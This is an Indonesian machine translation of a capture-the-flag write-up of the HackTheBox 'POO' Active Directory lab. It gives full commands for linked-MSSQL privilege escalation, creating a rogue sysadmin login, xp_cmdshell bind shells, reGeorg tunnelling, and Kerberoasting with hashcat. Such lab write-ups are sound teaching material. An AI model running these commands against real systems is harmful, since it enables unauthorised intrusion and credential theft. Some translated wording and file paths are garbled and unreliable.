HackTheBoxendgame. Bagian dari Operasi Serangan Profesional laboratorium. Direktori Aktif Pentest

HackTheBoxendgame. Bagian dari Operasi Serangan Profesional laboratorium. Direktori Aktif Pentest

Pada artikel ini, kami akan menganalisis bagian bukan hanya mesin, tetapi seluruh laboratorium mini dari situs RetasKotak.

Seperti yang dinyatakan dalam deskripsi, POO dirancang untuk menguji keterampilan di semua tahap serangan di lingkungan Direktori Aktif kecil. Tujuannya adalah untuk mengkompromikan host yang tersedia, meningkatkan hak istimewa, dan akhirnya mengkompromikan seluruh domain dengan mengumpulkan 5 tanda dalam prosesnya.

Koneksi ke laboratorium melalui VPN. Disarankan untuk tidak terhubung dari komputer yang berfungsi atau dari host di mana terdapat data penting untuk Anda, karena Anda masuk ke jaringan pribadi dengan orang-orang yang mengetahui sesuatu tentang keamanan informasi 🙂

informasi organisasi
Agar Anda dapat mengetahui tentang artikel baru, perangkat lunak, dan informasi lainnya, saya buat saluran di Telegram и kelompok untuk mendiskusikan masalah apa pun di kawasan IIKB. Juga permintaan, pertanyaan, saran, dan rekomendasi pribadi Anda Saya akan melihat dan membalas semua orang..

Semua informasi disediakan untuk tujuan pendidikan saja. Penulis dokumen ini tidak bertanggung jawab atas kerusakan yang terjadi pada siapa pun sebagai akibat dari penggunaan pengetahuan dan metode yang diperoleh sebagai hasil dari mempelajari dokumen ini.

Intro

Endgame ini terdiri dari dua mesin dan berisi 5 bendera.

HackTheBoxendgame. Bagian dari Operasi Serangan Profesional laboratorium. Direktori Aktif Pentest

Deskripsi dan alamat host yang tersedia juga diberikan.

HackTheBoxendgame. Bagian dari Operasi Serangan Profesional laboratorium. Direktori Aktif Pentest

Ayo mulai!

Bendera pengintaian

Mesin ini memiliki alamat IP 10.13.38.11 yang saya tambahkan ke /etc/hosts.
10.13.38.11 poo.htb

Langkah pertama adalah memindai port yang terbuka. Karena butuh waktu lama untuk memindai semua port dengan nmap, pertama-tama saya akan melakukannya dengan masscan. Kami memindai semua port TCP dan UDP dari antarmuka tun0 pada 500pps.

sudo masscan -e tun0 -p1-65535,U:1-65535 10.13.38.11 --rate=500

HackTheBoxendgame. Bagian dari Operasi Serangan Profesional laboratorium. Direktori Aktif Pentest

Sekarang, untuk mendapatkan informasi lebih detail tentang layanan yang berjalan di port, mari jalankan pemindaian dengan opsi -A.

nmap -A poo.htb -p80,1433

HackTheBoxendgame. Bagian dari Operasi Serangan Profesional laboratorium. Direktori Aktif Pentest

Jadi, kami memiliki layanan IIS dan MSSQL. Dalam hal ini, kami akan menemukan nama DNS asli dari domain dan komputer. Di web server, kita disambut oleh home page IIS.

HackTheBoxendgame. Bagian dari Operasi Serangan Profesional laboratorium. Direktori Aktif Pentest

Mari beralih ke direktori. Saya menggunakan gobuster untuk ini. Dalam parameter kami menentukan jumlah aliran 128 (-t), URL (-u), kamus (-w) dan ekstensi yang kami minati (-x).

gobuster dir -t 128 -u poo.htb -w /usr/share/seclists/Discovery/Web-Content/raft-large-words.txt -x php,aspx,html

HackTheBoxendgame. Bagian dari Operasi Serangan Profesional laboratorium. Direktori Aktif Pentest

Jadi, kami memiliki autentikasi HTTP untuk direktori /admin, serta file penyimpanan layanan desktop .DS_Store tersedia. .DS_Store adalah file yang menyimpan pengaturan pengguna untuk folder, seperti daftar file, lokasi ikon, gambar latar yang dipilih. File seperti itu mungkin berakhir di direktori server web pengembang web. Dengan demikian, kami mendapatkan informasi tentang isi direktori. Untuk ini, Anda dapat menggunakan Perayap DS_Store.

python3 dsstore_crawler.py -i http://poo.htb/

HackTheBoxendgame. Bagian dari Operasi Serangan Profesional laboratorium. Direktori Aktif Pentest

Kami mendapatkan isi direktori. Hal yang paling menarik di sini adalah direktori /dev, dari mana kita dapat melihat file sources dan db dalam dua cabang. Namun kita dapat menggunakan 6 karakter pertama dari nama file dan direktori jika layanan tersebut rentan terhadap IIS ShortName. Anda dapat memeriksa kerentanan ini menggunakan Pemindai nama pendek IIS.

HackTheBoxendgame. Bagian dari Operasi Serangan Profesional laboratorium. Direktori Aktif Pentest

Dan kami menemukan satu file teks yang dimulai dengan "poo_co". Tidak tahu apa yang harus dilakukan selanjutnya, saya hanya memilih dari kamus direktori semua kata yang dimulai dengan "co".

cat /usr/share/seclists/Discovery/Web-Content/raft-large-words.txt | grep -i "^co" > co_words.txt

Dan ulangi dengan wfuzz.

wfuzz -w ./co_words.txt -u "http://poo.htb/dev/dca66d38fd916317687e1390a420c3fc/db/poo_FUZZ.txt" --hc 404

HackTheBoxendgame. Bagian dari Operasi Serangan Profesional laboratorium. Direktori Aktif Pentest

Dan temukan kata yang tepat! Kami melihat file ini, menyimpan kredensial (dilihat dari parameter DBNAME, mereka berasal dari MSSQL).

HackTheBoxendgame. Bagian dari Operasi Serangan Profesional laboratorium. Direktori Aktif Pentest

Kami menyerahkan benderanya, dan kami maju sebesar 20%.

HackTheBoxendgame. Bagian dari Operasi Serangan Profesional laboratorium. Direktori Aktif Pentest

Hah bendera

Kami terhubung ke MSSQL, saya menggunakan DBeaver.

HackTheBoxendgame. Bagian dari Operasi Serangan Profesional laboratorium. Direktori Aktif Pentest

Kami tidak menemukan sesuatu yang menarik di database ini, mari buat SQL Editor dan periksa siapa penggunanya.

SELECT name FROM master..syslogins;

HackTheBoxendgame. Bagian dari Operasi Serangan Profesional laboratorium. Direktori Aktif Pentest

Kami memiliki dua pengguna. Mari kita periksa hak istimewa kita.

SELECT is_srvrolemember('sysadmin'), is_srvrolemember('dbcreator'), is_srvrolemember('bulkadmin'), is_srvrolemember('diskadmin'), is_srvrolemember('processadmin'), is_srvrolemember('serveradmin'), is_srvrolemember('setupadmin'), is_srvrolemember('securityadmin');

HackTheBoxendgame. Bagian dari Operasi Serangan Profesional laboratorium. Direktori Aktif Pentest

Jadi, tidak ada keistimewaan. Mari kita lihat server tertaut, saya menulis tentang teknik ini secara detail di sini.

SELECT * FROM master..sysservers;

HackTheBoxendgame. Bagian dari Operasi Serangan Profesional laboratorium. Direktori Aktif Pentest

Jadi kami menemukan SQL Server lain. Mari kita periksa eksekusi perintah di server ini menggunakan openquery().

SELECT version FROM openquery("COMPATIBILITYPOO_CONFIG", 'select @@version as version');

HackTheBoxendgame. Bagian dari Operasi Serangan Profesional laboratorium. Direktori Aktif Pentest

Dan kami bahkan dapat membuat pohon kueri.

SELECT version FROM openquery("COMPATIBILITYPOO_CONFIG", 'SELECT version FROM openquery("COMPATIBILITYPOO_PUBLIC", ''select @@version as version'');');

Faktanya adalah saat kami membuat permintaan ke server tertaut, permintaan tersebut dijalankan dalam konteks pengguna lain! Mari kita lihat konteks pengguna apa yang kita jalankan di server tertaut.

SELECT name FROM openquery("COMPATIBILITYPOO_CONFIG", 'SELECT user_name() as name');

HackTheBoxendgame. Bagian dari Operasi Serangan Profesional laboratorium. Direktori Aktif Pentest

Dan sekarang mari kita lihat dalam konteks apa permintaan dari server tertaut ke server kita dijalankan!

SELECT * FROM openquery("COMPATIBILITYPOO_CONFIG", 'SELECT name FROM openquery("COMPATIBILITYPOO_PUBLIC", ''SELECT user_name() as name'');');

HackTheBoxendgame. Bagian dari Operasi Serangan Profesional laboratorium. Direktori Aktif Pentest

Jadi, ini adalah konteks DBO yang harus memiliki semua hak istimewa. Mari kita periksa hak istimewa jika ada permintaan dari server tertaut.

SELECT * FROM openquery("COMPATIBILITYPOO_CONFIG", 'SELECT * FROM openquery("COMPATIBILITYPOO_PUBLIC", ''SELECT is_srvrolemember(''''sysadmin''''), is_srvrolemember(''''dbcreator''''), is_srvrolemember(''''bulkadmin''''), is_srvrolemember(''''diskadmin''''), is_srvrolemember(''''processadmin''''), is_srvrolemember(''''serveradmin''''), is_srvrolemember(''''setupadmin''''), is_srvrolemember(''''securityadmin'''')'')');

HackTheBoxendgame. Bagian dari Operasi Serangan Profesional laboratorium. Direktori Aktif Pentest

Seperti yang Anda lihat, kami memiliki semua hak istimewa! Mari kita buat admin kita seperti ini. Tapi mereka tidak membiarkan mereka melalui openquery, mari kita lakukan melalui EXECUTE AT.

EXECUTE('EXECUTE(''CREATE LOGIN [ralf] WITH PASSWORD=N''''ralfralf'''', DEFAULT_DATABASE=[master], CHECK_EXPIRATION=OFF, CHECK_POLICY=OFF'') AT "COMPATIBILITYPOO_PUBLIC"') AT "COMPATIBILITYPOO_CONFIG";
EXECUTE('EXECUTE(''CREATE USER [ralf] FOR LOGIN [ralf]'') AT "COMPATIBILITYPOO_PUBLIC"') AT "COMPATIBILITYPOO_CONFIG";
EXECUTE('EXECUTE(''ALTER SERVER ROLE [sysadmin] ADD MEMBER [ralf]'') AT "COMPATIBILITYPOO_PUBLIC"') AT "COMPATIBILITYPOO_CONFIG";
EXECUTE('EXECUTE(''ALTER ROLE [db_owner] ADD MEMBER [ralf]'') AT "COMPATIBILITYPOO_PUBLIC"') AT "COMPATIBILITYPOO_CONFIG";

Dan sekarang kami terhubung dengan kredensial pengguna baru, amati basis data bendera baru.

HackTheBoxendgame. Bagian dari Operasi Serangan Profesional laboratorium. Direktori Aktif Pentest

Kami menyerahkan bendera ini dan melangkah lebih jauh.

HackTheBoxendgame. Bagian dari Operasi Serangan Profesional laboratorium. Direktori Aktif Pentest

Bendera mundur

Mari kita ambil shellnya menggunakan MSSQL, saya menggunakan mssqlclient dari paket impaket.

mssqlclient.py ralf:[email protected] -db POO_PUBLIC

HackTheBoxendgame. Bagian dari Operasi Serangan Profesional laboratorium. Direktori Aktif Pentest

Kami perlu mendapatkan kata sandi, dan hal pertama yang kami temui adalah situsnya. Jadi, kami memerlukan konfigurasi server web (tidak mungkin membuang shell yang nyaman, tampaknya firewall berfungsi).

HackTheBoxendgame. Bagian dari Operasi Serangan Profesional laboratorium. Direktori Aktif Pentest

Tapi akses ditolak. Meskipun kita dapat membaca file dari MSSQL, kita hanya perlu mengetahui bahasa pemrograman apa yang dikonfigurasi. Dan di direktori MSSQL kami menemukan bahwa ada Python.

HackTheBoxendgame. Bagian dari Operasi Serangan Profesional laboratorium. Direktori Aktif Pentest

Maka tidak ada masalah untuk membaca file web.config.

EXEC sp_execute_external_script
@language = N'Python',
@script = "print(open('C:inetpubwwwrootweb.config').read())"

HackTheBoxendgame. Bagian dari Operasi Serangan Profesional laboratorium. Direktori Aktif Pentest

Dengan kredensial ditemukan, buka /admin dan ambil benderanya.

HackTheBoxendgame. Bagian dari Operasi Serangan Profesional laboratorium. Direktori Aktif Pentest

HackTheBoxendgame. Bagian dari Operasi Serangan Profesional laboratorium. Direktori Aktif Pentest

bendera pijakan

Sebenarnya, ada beberapa ketidaknyamanan menggunakan firewall, tetapi melihat melalui pengaturan jaringan, kami melihat bahwa protokol IPv6 juga digunakan!

HackTheBoxendgame. Bagian dari Operasi Serangan Profesional laboratorium. Direktori Aktif Pentest

Tambahkan alamat ini ke /etc/hosts.
dead:babe::1001 poo6.htb
Mari memindai host lagi, tetapi kali ini melalui IPv6.

HackTheBoxendgame. Bagian dari Operasi Serangan Profesional laboratorium. Direktori Aktif Pentest

Dan layanan WinRM tersedia melalui IPv6. Mari terhubung dengan kredensial yang ditemukan.

HackTheBoxendgame. Bagian dari Operasi Serangan Profesional laboratorium. Direktori Aktif Pentest

Ada bendera di desktop, serahkan.

HackTheBoxendgame. Bagian dari Operasi Serangan Profesional laboratorium. Direktori Aktif Pentest

bendera P00ned

Setelah pengintaian pada tuan rumah dengan winpea kami tidak menemukan sesuatu yang istimewa. Kemudian diputuskan untuk mencari kredensial lagi (saya juga menulis tentang topik ini sebuah artikel). Tapi saya tidak bisa mendapatkan semua SPN dari sistem melalui WinRM.

setspn.exe -T intranet.poo -Q */*

HackTheBoxendgame. Bagian dari Operasi Serangan Profesional laboratorium. Direktori Aktif Pentest

Mari jalankan perintah melalui MSSQL.

HackTheBoxendgame. Bagian dari Operasi Serangan Profesional laboratorium. Direktori Aktif Pentest

Dengan cara ini, kami mendapatkan SPN pengguna p00_hr dan p00_adm, yang berarti mereka rentan terhadap serangan seperti Kerberoasting. Singkatnya, kita bisa mendapatkan hash dari kata sandi mereka.

Pertama, Anda perlu mendapatkan shell yang stabil atas nama pengguna MSSQL. Tetapi karena akses kami terbatas, kami memiliki koneksi dengan host hanya melalui port 80 dan 1433. Tetapi dimungkinkan untuk mengarahkan lalu lintas melalui port 80! Untuk ini kita akan menggunakan aplikasi berikutnya. Mari unggah file tunnel.aspx ke direktori home server web - C: inetpubwwwroot.

HackTheBoxendgame. Bagian dari Operasi Serangan Profesional laboratorium. Direktori Aktif Pentest

Tetapi ketika kami mencoba mengaksesnya, kami mendapatkan kesalahan 404. Artinya, file *.aspx tidak dieksekusi. Untuk menjalankan file dengan ekstensi ini, instal ASP.NET 4.5 sebagai berikut.

dism /online /enable-feature /all /featurename:IIS-ASPNET45

HackTheBoxendgame. Bagian dari Operasi Serangan Profesional laboratorium. Direktori Aktif Pentest

HackTheBoxendgame. Bagian dari Operasi Serangan Profesional laboratorium. Direktori Aktif Pentest

Dan sekarang, saat mengakses tunnel.aspx, kami mendapatkan jawaban bahwa semuanya sudah siap.

HackTheBoxendgame. Bagian dari Operasi Serangan Profesional laboratorium. Direktori Aktif Pentest

Mari mulai bagian klien dari aplikasi, yang akan meneruskan lalu lintas. Kami akan meneruskan semua lalu lintas dari port 5432 ke server.

python ./reGeorgSocksProxy.py -p 5432 -u http://poo.htb/tunnel.aspx

HackTheBoxendgame. Bagian dari Operasi Serangan Profesional laboratorium. Direktori Aktif Pentest

Dan kami menggunakan rantai proxy untuk mengirimkan lalu lintas aplikasi apa pun melalui proxy kami. Mari tambahkan proxy ini ke file konfigurasi /etc/proxychains.conf.

HackTheBoxendgame. Bagian dari Operasi Serangan Profesional laboratorium. Direktori Aktif Pentest

Sekarang mari unggah program ke server netcat, yang dengannya kita akan membuat shell pengikat yang stabil, dan skripnya Panggil Kerberoast, dengan mana kita akan melakukan serangan Kerberoasting.

HackTheBoxendgame. Bagian dari Operasi Serangan Profesional laboratorium. Direktori Aktif Pentest

Sekarang, melalui MSSQL, kami meluncurkan pendengar.

xp_cmdshell C:tempnc64.exe -e powershell.exe -lvp 4321

HackTheBoxendgame. Bagian dari Operasi Serangan Profesional laboratorium. Direktori Aktif Pentest

Dan kami terhubung melalui proxy kami.

proxychains rlwrap nc poo.htb 4321

HackTheBoxendgame. Bagian dari Operasi Serangan Profesional laboratorium. Direktori Aktif Pentest

Dan mari kita dapatkan hashnya.

. .Invoke-Kerberoast.ps1
Invoke-Kerberoast -erroraction silentlycontinue -OutputFormat Hashcat | Select-Object Hash | Out-File -filepath 'C:tempkerb_hashes.txt' -Width 8000
type kerb_hashes.txt

HackTheBoxendgame. Bagian dari Operasi Serangan Profesional laboratorium. Direktori Aktif Pentest

Selanjutnya, Anda perlu mengulangi hash ini. Karena rockyou tidak memiliki kamus data kata sandi, saya menggunakan SEMUA kamus kata sandi yang disediakan di Seclist. Untuk pencacahan kami menggunakan hashcat.

hashcat -a 0 -m 13100 krb_hashes.txt /usr/share/seclists/Passwords/*.txt --force

Dan kami menemukan kedua kata sandi tersebut, yang pertama di kamus dutch_passwordlist.txt, dan yang kedua di Keyboard-Combinations.txt.

HackTheBoxendgame. Bagian dari Operasi Serangan Profesional laboratorium. Direktori Aktif Pentest

HackTheBoxendgame. Bagian dari Operasi Serangan Profesional laboratorium. Direktori Aktif Pentest

Jadi kami memiliki tiga pengguna, kami pergi ke pengontrol domain. Mari kita cari tahu alamatnya terlebih dahulu.

HackTheBoxendgame. Bagian dari Operasi Serangan Profesional laboratorium. Direktori Aktif Pentest

Hebat, kami telah mempelajari alamat IP pengontrol domain. Mari cari tahu semua pengguna domain, serta siapa di antara mereka yang merupakan administrator. Untuk mendownload script untuk mendapatkan informasi PowerView.ps1. Kemudian kami akan terhubung menggunakan evil-winrm, menentukan direktori dengan skrip di parameter -s. Dan kemudian muat skrip PowerView.

HackTheBoxendgame. Bagian dari Operasi Serangan Profesional laboratorium. Direktori Aktif Pentest

Sekarang kami memiliki akses ke semua fungsinya. Pengguna p00_adm terlihat seperti pengguna istimewa, jadi kami akan bekerja dalam konteksnya. Mari buat objek PSCredential untuk pengguna ini.

$User = 'p00_adm'
$Password = 'ZQ!5t4r'
$Cpass = ConvertTo-SecureString -AsPlainText $Password -force
$Creds = New-Object System.Management.Automation.PSCredential -ArgumentList $User,$Cpass

Sekarang semua perintah Powershell di mana kami menentukan Kredit akan dieksekusi atas nama p00_adm. Mari tampilkan daftar pengguna dan atribut AdminCount.

Get-NetUser -DomainController dc -Credential $Creds | select name,admincount

HackTheBoxendgame. Bagian dari Operasi Serangan Profesional laboratorium. Direktori Aktif Pentest

Jadi, pengguna kami benar-benar istimewa. Mari kita lihat kelompok apa yang dia ikuti.

Get-NetGroup -UserName "p00_adm" -DomainController dc -Credential $Creds

HackTheBoxendgame. Bagian dari Operasi Serangan Profesional laboratorium. Direktori Aktif Pentest

Kami akhirnya mengonfirmasi bahwa pengguna adalah administrator domain. Ini memberinya hak untuk masuk dari jarak jauh ke pengontrol domain. Mari kita coba masuk dengan WinRM menggunakan terowongan kami. Saya bingung dengan kesalahan yang dikeluarkan oleh reGeorg saat menggunakan evil-winrm.

HackTheBoxendgame. Bagian dari Operasi Serangan Profesional laboratorium. Direktori Aktif Pentest

Kemudian kami menggunakan yang lain, yang lebih mudah, naskah untuk terhubung ke WinRM. Buka dan ubah parameter koneksi.

HackTheBoxendgame. Bagian dari Operasi Serangan Profesional laboratorium. Direktori Aktif Pentest

Kami mencoba terhubung, dan kami berada di dalam sistem.

HackTheBoxendgame. Bagian dari Operasi Serangan Profesional laboratorium. Direktori Aktif Pentest

Tapi tidak ada bendera. Kemudian lihat pengguna dan periksa desktop.

HackTheBoxendgame. Bagian dari Operasi Serangan Profesional laboratorium. Direktori Aktif Pentest

Di mr3ks kami menemukan bendera dan laboratorium 100% selesai.

HackTheBoxendgame. Bagian dari Operasi Serangan Profesional laboratorium. Direktori Aktif Pentest

Itu saja. Sebagai umpan balik, beri komentar apakah Anda mempelajari sesuatu yang baru dari artikel ini dan apakah itu bermanfaat bagi Anda.

Anda dapat bergabung dengan kami di Telegram. Di sana Anda dapat menemukan materi menarik, kursus gabungan, serta perangkat lunak. Mari kumpulkan komunitas yang didalamnya terdapat orang-orang yang mengerti banyak bidang IT, agar kita selalu bisa saling membantu dalam setiap masalah IT dan keamanan informasi.

Sumber: www.habr.com

Tambah komentar